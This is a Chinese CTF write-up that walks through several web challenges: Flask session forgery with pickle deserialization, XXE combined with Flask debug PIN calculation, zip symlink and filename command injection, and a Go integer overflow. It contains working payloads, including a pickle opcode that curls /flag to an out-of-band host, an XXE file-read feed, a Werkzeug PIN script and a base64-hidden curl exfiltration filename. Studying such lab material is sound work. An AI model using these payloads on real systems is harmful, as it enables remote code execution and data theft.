前言
怎么啥类型的题都有,知识点最全面的一集(
好了,这下我也是新生了,没时间也做不动了,等wp下来复现
Web
notebook(复现)
session伪造爆破+pickle反序列化
app.py
from flask import Flask, request, render_template, session
import pickle
import uuid
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
class Note(object):
    def __init__(self, name, content):
        self._name = name
        self._content = content
    @property
    def name(self):
        return self._name
    
    @property
    def content(self):
        return self._content
@app.route('/')
def index():
    return render_template('index.html')
@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')
    
    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')
    
    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)
@app.route('/add_note', methods=['POST'])
def add_note():
    note_name = request.form.get('note_name')
    note_content = request.form.get('note_content')
    if note_name == '' or note_content == '':
        return render_template('index.html', status='add_failed', msg='note name or content is empty')
    
    note_id = str(uuid.uuid4())
    note = Note(note_name, note_content)
    if not session.get('notes'):
        session['notes'] = {}
    
    notes = session['notes']
    notes[note_id] = pickle.dumps(note)
    session['notes'] = notes
    return render_template('index.html', status='add_success', note_id=note_id)
@app.route('/delete_note', methods=['POST'])
def delete_note():
    note_id = request.form.get('note_id')
    if not note_id:
        return render_template('index.html')
    
    notes = session.get('notes')
    if not notes:
        return render_template('index.html', status='delete_failed', msg='You have no notes')
    
    if not notes.get(note_id):
        return render_template('index.html', status='delete_failed', msg='This note does not exist')
    
    del notes[note_id]
    session['notes'] = notes
    return render_template('index.html', status='delete_success')
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)
- Hint 3: pickle 是干什么的? 可以利用吗?
 - Hint 5: 构造恶意 pickle 序列化数据实现 RCE
 
审计代码,可以发现有pickle库
在访问note的路由中发现pickle.loads
在写入note的路由中发现pickle.dumps
@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')
    
    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')
    
    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)
@app.route('/add_note', methods=['POST'])
def add_note():
    note_name = request.form.get('note_name')
    note_content = request.form.get('note_content')
    if note_name == '' or note_content == '':
        return render_template('index.html', status='add_failed', msg='note name or content is empty')
    
    note_id = str(uuid.uuid4())
    note = Note(note_name, note_content)
    if not session.get('notes'):
        session['notes'] = {}
    
    notes = session['notes']
    notes[note_id] = pickle.dumps(note)
    session['notes'] = notes
    return render_template('index.html', status='add_success', note_id=note_id)
审计一下,pickle.loads内的对象是note_raw也就是note_id,而notes[note_id] = pickle.dumps(note),note_id的值为str(uuid.uuid4())不可控,但是对于notes列表,它的值是session['notes'],这个值是可以被伪造的,从而控制note_id
- Hint 2: 通过 SECRET_KEY 可以伪造 Flask session
 - Hint 4: 尝试爆破 SECRET_KEY (os.urandom(2).hex() 只有四位数)
 
这一块可以参考moectf2023的moeworld,flask-unsign爆破
生成字典
import os
with open('dict.txt','w') as f:
	for i in range(1,100000):
		a=os.urandom(2).hex()
		f.write("\"{}\"\n".format(a))
flask-unsign --unsign --cookie ".eJwtyk0LgjAYAOC_ErsPtjk_JnRYQ0kiD6lp3nxls2JaUGQg--8V9JyfBU23p36geEEehJoS6uGeeAZzTnwsTNBhIqKoN1qEhge_twIUo0EWx3yQf2qvUmGgTu9ghbHZnJSjIG1blFaNG7tl1S6b04b5Z6jr6iqT9_dkDctfMB0sTEXVyZaeLnyNnHMfbv4tEQ.ZTFEpA.9ifsWDASoCSJr6kIyx7x0ewAPaE" --wordlist dict.txt

得到key
然后解码一下session
python3 flask_session_cookie_manager3.py decode -c ".eJwtyk0LgjAYAOC_ErsPtjk_JnRYQ0kiD6lp3nxls2JaUGQg--8V9JyfBU23p36geEEehJoS6uGeeAZzTnwsTNBhIqKoN1qEhge_twIUo0EWx3yQf2qvUmGgTu9ghbHZnJSjIG1blFaNG7tl1S6b04b5Z6jr6iqT9_dkDctfMB0sTEXVyZaeLnyNnHMfbv4tEQ.ZTFEpA.9ifsWDASoCSJr6kIyx7x0ewAPaE" -s "a5d7"

很明显,要想进行命令执行,就要修改里面的二进制字节流
手搓一个opcode,pker工具生成的opcode好像不怎么好使。。。
b'''cos
system
(S'whoami'
tR.'''
也即b'''cos\nsystem\n(S'whoami'\ntR.'''
带进去session伪造即可,其实可以直接使用flask-unsign解决
注:
如果使用
pickle.dumps()来⽣成 payload, 那么得知道不同操作系统⽣成的 pickle 序列化数据是有区别的# Linux (注意 posix) b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.' # Windows (注意 nt) b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'构造了恶意 pickle 序列化数据发送之后服务器报错 500,
上⾯代码在
pickle.loads()之后得到 note 对象, 然后访问它的id,name,content属性,即 note.id,note.name,note.content如果是正常的 pickle 数据,那么服务器就会显示正常的 note 内容,如果是恶意的 pickle 数据,那么pickle.loads()返回的就是通过__reduce__⽅法调⽤的某个函数所返回的结果, 根本就没有 id, name, content 这些属性,当然就会报错。换成os.system()同理, 在 Linux 中通过这个函数执⾏的命令, 如果执⾏成功, 则返回 0, 否则返回非0值,虽然服务器会报错 500, 但是命令还是执行成功的回显的内容不会在网页上输出,需要反弹shell或者dns带外
这里用dns带外的方法:
b'''cos\nsystem\n(S'curl 5cidlk6fmr0rtmpjbmx2fxrujlpbd0.oastify.com -X POST -d \"`cat /flag`\"'\ntR.'''
- Hint 1: 由于题目环境每 10 分钟重置一次 因此 SECRET_KEY 的值会变化
 
10分钟速通感觉还是挺难的(
先创建一个新的note,然后session伪造
flask-unsign --sign --cookie "{'notes': {'2392a14b-5f40-45ed-9f2d-85aa3467d13e': b'''cos\nsystem\n(S'curl qpjyy5j0zcdc6724o7ansi4fw62zqo.oastify.com -X POST -d \"`cat /flag`\"'\ntR.'''}}" --secret '4b42' --no-literal-eval


最后带外的结果是这样,应该没问题吧(心虚
rss_parser(复现)
xxe+flask算pin
app.py
from flask import Flask, render_template, request, redirect
from urllib.parse import unquote
from lxml import etree
from io import BytesIO
import requests
import re
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        feed_url = request.form['url']
        if not re.match(r'^(http|https)://', feed_url):
            return redirect('/')
        content = requests.get(feed_url).content
        tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))
        result = {}
        rss_title = tree.find('/channel/title').text
        rss_link = tree.find('/channel/link').text
        rss_posts = tree.findall('/channel/item')
        result['title'] = rss_title
        result['link'] = rss_link
        result['posts'] = []
        if len(rss_posts) >= 10:
            rss_posts = rss_posts[:10]
        for post in rss_posts:
            post_title = post.find('./title').text
            post_link = post.find('./link').text
            result['posts'].append({'title': post_title, 'link': unquote(post_link)})
 
        return render_template('index.html', feed_url=feed_url, result=result)
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)
- Hint 1: 一个解析 XML 的功能会存在什么漏洞? (注意 resolve_entities=True)
 
根据它的提示,很明显tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))存在xxe漏洞
而题目要我们输入一个符合RSS Feed标准的url
那么将⼀个符合 RSS Feed XML标准的payload放到自己的HTTP服务器上就可以XXE,我这里用的是内网穿透,虚拟机要先用python开个http服务
RSS菜鸟教程:https://www.runoob.com/rss/rss-tutorial.html
放在服务器上的index.xml文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///flag">]>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
<channel>
<title>&file;</title>
<link>http://76135132qk.imdo.co</link>
<item>
<title>test</title>
<link>http://76135132qk.imdo.co</link>
</item>
</channel>
</rss>
但是这题不能直接读flag
Hint 2: 题目需要 RCE 并执行 /readflag 命令才能获得 flag
Hint 3: 注意 app.run() 的参数
Hint 4: Flask Debug 模式利用 (XXE 读取文件计算 PIN 码)
接下来就是flask算pin的环节,之前随便填url搞出报错页面,可以得知题目版本为3.9,得知flask的路径为/usr/local/lib/python3.9/site-packages/flask/app.py
首先读/sys/class/net/eth0/address

是02:42:c0:a8:a0:02,换算为10进制为2485723373570
然后是/etc/machine-id,这里不存在
接着是/proc/sys/kernel/random/boot_id,读出来5dcbb593-2656-4e8e-a4e9-9a0afb803c47
再读/proc/self/cgroup,读出来0::/,也就是没有id值,所以不用拼接,直接用上面的bootid即可
剩下的username可以通过读取/etc/passwd来猜⼀下, ⼀般都是 root 或者最底下的⽤户app , 多试⼏个就⾏
把这几个数据丢到脚本里生成pin码
import hashlib
from itertools import chain
probably_public_bits = [
    'app',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.9/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name.  They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
    '2485723373570',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
    #'96cec10d3d9307792745ec3b85c89620 867ab5d2-4e57-4335-811b-2943c662e936 dd0b25f3d46cf1a527e51b81aa90d16a01e0f2032fd1212688e6a5573a841b82'
    '5dcbb593-2656-4e8e-a4e9-9a0afb803c47'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
print(rv)
运行得到pin码431-347-509
那么访问/console进终端,输入得到的pin码,命令执行即可,flag要执行/readflag获得

zip_file_manager(复现)
unzip漏洞
其实和今年国赛的unzip是一样的考点, 只不过换成了python框架
不过这题有两种做法
app.py
from flask import Flask, request, render_template, redirect, send_file
import hashlib
import os
app = Flask(__name__)
def md5(m):
    return hashlib.md5(m.encode('utf-8')).hexdigest()
@app.route('/unzip', methods=['POST'])
def unzip():
    f = request.files.get('file')
    if not f.filename.endswith('.zip'):
        return redirect('/')
    user_dir = os.path.join('./uploads', md5(request.remote_addr))
    if not os.path.exists(user_dir):
        os.mkdir(user_dir)
    zip_path = os.path.join(user_dir, f.filename)
    dest_path = os.path.join(user_dir, f.filename[:-4])
    f.save(zip_path)
    os.system('unzip -o {} -d {}'.format(zip_path, dest_path))
    return redirect('/')
@app.route('/', defaults={'subpath': ''}, methods=['GET'])
@app.route('/<path:subpath>', methods=['GET'])
def index(subpath):
    user_dir = os.path.join('./uploads', md5(request.remote_addr))
    if not os.path.exists(user_dir):
        os.mkdir(user_dir)
    if '..' in subpath:
        return 'blacklist'
    current_path = os.path.join(user_dir, subpath)
    if os.path.isdir(current_path):
        res = []
        res.append({'type': 'Directory', 'name': '..'})
        for v in os.listdir(current_path):
            if os.path.isfile(os.path.join(current_path, v)):
                res.append({'type': 'File', 'name': v})
            else:
                res.append({'type': 'Directory', 'name': v})
        return render_template('index.html', upload_path=user_dir, res=res)
    else:
        return send_file(current_path)
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)
法1:软链接
ln -s / test
zip -y test.zip test
因为题目已经提供了查看文件的功能,所以这里把软链接直接指向根目录
上传test.zip,然后访问test即可查看根目录获得flag
法2:命令注入
@app.route('/unzip', methods=['POST'])
def unzip():
    f = request.files.get('file')
    if not f.filename.endswith('.zip'):
        return redirect('/')
    user_dir = os.path.join('./uploads', md5(request.remote_addr))
    if not os.path.exists(user_dir):
        os.mkdir(user_dir)
    zip_path = os.path.join(user_dir, f.filename)
    dest_path = os.path.join(user_dir, f.filename[:-4])
    f.save(zip_path)
    os.system('unzip -o {} -d {}'.format(zip_path, dest_path))
    return redirect('/')
审计这段代码,可以发现这里调用了os.system执行unzip命令,但是路径名是直接拼接进去的,而zip的文件名可控,所以存在命令注入
burp上传时抓包把 filename 改成下面的命令把回显带外即可,类似于ping的命令注入
test.zip;echo Y3VybCBob3N0LmRvY2tlci5pbnRlcm5hbDo0NDQ0IC1UIC9mbGFnCg==|base64 -d|bash;1.zip
web_snapshot(未完成)
SSRF打Redis主从复制 RCE
GoShop
整数溢出
main.go
package main
import (
	"crypto/rand"
	"embed"
	"fmt"
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/google/uuid"
	"html/template"
	"net/http"
	"os"
	"strconv"
)
type User struct {
	Id    string
	Money int64
	Items map[string]int64
}
type Product struct {
	Name  string
	Price int64
}
var users map[string]*User
var products []*Product
//go:embed public
var fs embed.FS
func init() {
	users = make(map[string]*User)
	products = []*Product{
		{Name: "Apple", Price: 10},
		{Name: "Banana", Price: 50},
		{Name: "Orange", Price: 100},
		{Name: "Flag", Price: 999999999},
	}
}
func IndexHandler(c *gin.Context) {
	c.HTML(200, "index.html", gin.H{})
}
func InfoHandler(c *gin.Context) {
	s := sessions.Default(c)
	if s.Get("id") == nil {
		u := uuid.New().String()
		users[u] = &User{Id: u, Money: 100, Items: make(map[string]int64)}
		s.Set("id", u)
		s.Save()
	}
	user := users[s.Get("id").(string)]
	c.JSON(200, gin.H{
		"user": user,
	})
}
func ResetHandler(c *gin.Context) {
	s := sessions.Default(c)
	s.Clear()
	u := uuid.New().String()
	users[u] = &User{Id: u, Money: 100, Items: make(map[string]int64)}
	s.Set("id", u)
	s.Save()
	c.JSON(200, gin.H{
		"message": "Reset success",
	})
}
func BuyHandler(c *gin.Context) {
	s := sessions.Default(c)
	user := users[s.Get("id").(string)]
	data := make(map[string]interface{})
	c.ShouldBindJSON(&data)
	var product *Product
	for _, v := range products {
		if data["name"] == v.Name {
			product = v
			break
		}
	}
	if product == nil {
		c.JSON(200, gin.H{
			"message": "No such product",
		})
		return
	}
	n, _ := strconv.Atoi(data["num"].(string))
	if n < 0 {
		c.JSON(200, gin.H{
			"message": "Product num can't be negative",
		})
		return
	}
	if user.Money >= product.Price*int64(n) {
		user.Money -= product.Price * int64(n)
		user.Items[product.Name] += int64(n)
		c.JSON(200, gin.H{
			"message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
		})
	} else {
		c.JSON(200, gin.H{
			"message": "You don't have enough money",
		})
	}
}
func SellHandler(c *gin.Context) {
	s := sessions.Default(c)
	user := users[s.Get("id").(string)]
	data := make(map[string]interface{})
	c.ShouldBindJSON(&data)
	var product *Product
	for _, v := range products {
		if data["name"] == v.Name {
			product = v
			break
		}
	}
	if product == nil {
		c.JSON(200, gin.H{
			"message": "No such product",
		})
		return
	}
	count := user.Items[data["name"].(string)]
	n, _ := strconv.Atoi(data["num"].(string))
	if n < 0 {
		c.JSON(200, gin.H{
			"message": "Product num can't be negative",
		})
		return
	}
	if count >= int64(n) {
		user.Money += product.Price * int64(n)
		user.Items[product.Name] -= int64(n)
		c.JSON(200, gin.H{
			"message": fmt.Sprintf("Sell %v * %v success", product.Name, n),
		})
	} else {
		c.JSON(200, gin.H{
			"message": "You don't have enough product",
		})
	}
}
func FlagHandler(c *gin.Context) {
	s := sessions.Default(c)
	user := users[s.Get("id").(string)]
	v, ok := user.Items["Flag"]
	if !ok || v <= 0 {
		c.JSON(200, gin.H{
			"message": "You must buy <code>flag</code> first",
		})
		return
	}
	flag, _ := os.ReadFile("/flag")
	c.JSON(200, gin.H{
		"message": fmt.Sprintf("Here is your flag: <code>%s</code>", string(flag)),
	})
}
func main() {
	secret := make([]byte, 16)
	rand.Read(secret)
	tpl, _ := template.ParseFS(fs, "public/index.html")
	store := cookie.NewStore(secret)
	r := gin.Default()
	r.SetHTMLTemplate(tpl)
	r.Use(sessions.Sessions("gosession", store))
	r.GET("/", IndexHandler)
	api := r.Group("/api")
	{
		api.GET("/info", InfoHandler)
		api.POST("/buy", BuyHandler)
		api.POST("/sell", SellHandler)
		api.GET("/flag", FlagHandler)
		api.GET("/reset", ResetHandler)
	}
	r.StaticFileFS("/static/main.js", "public/main.js", http.FS(fs))
	r.StaticFileFS("/static/simple.css", "public/simple.css", http.FS(fs))
	r.Run(":8000")
}
审计一下代码可以发现里面的商品都是用int64处理的,取值范围为-9223372036854775808到9223372036854775807
那思路就很清晰了
买9223372036854775807个apple

再卖掉999999999个apple

这样钱就够买flag了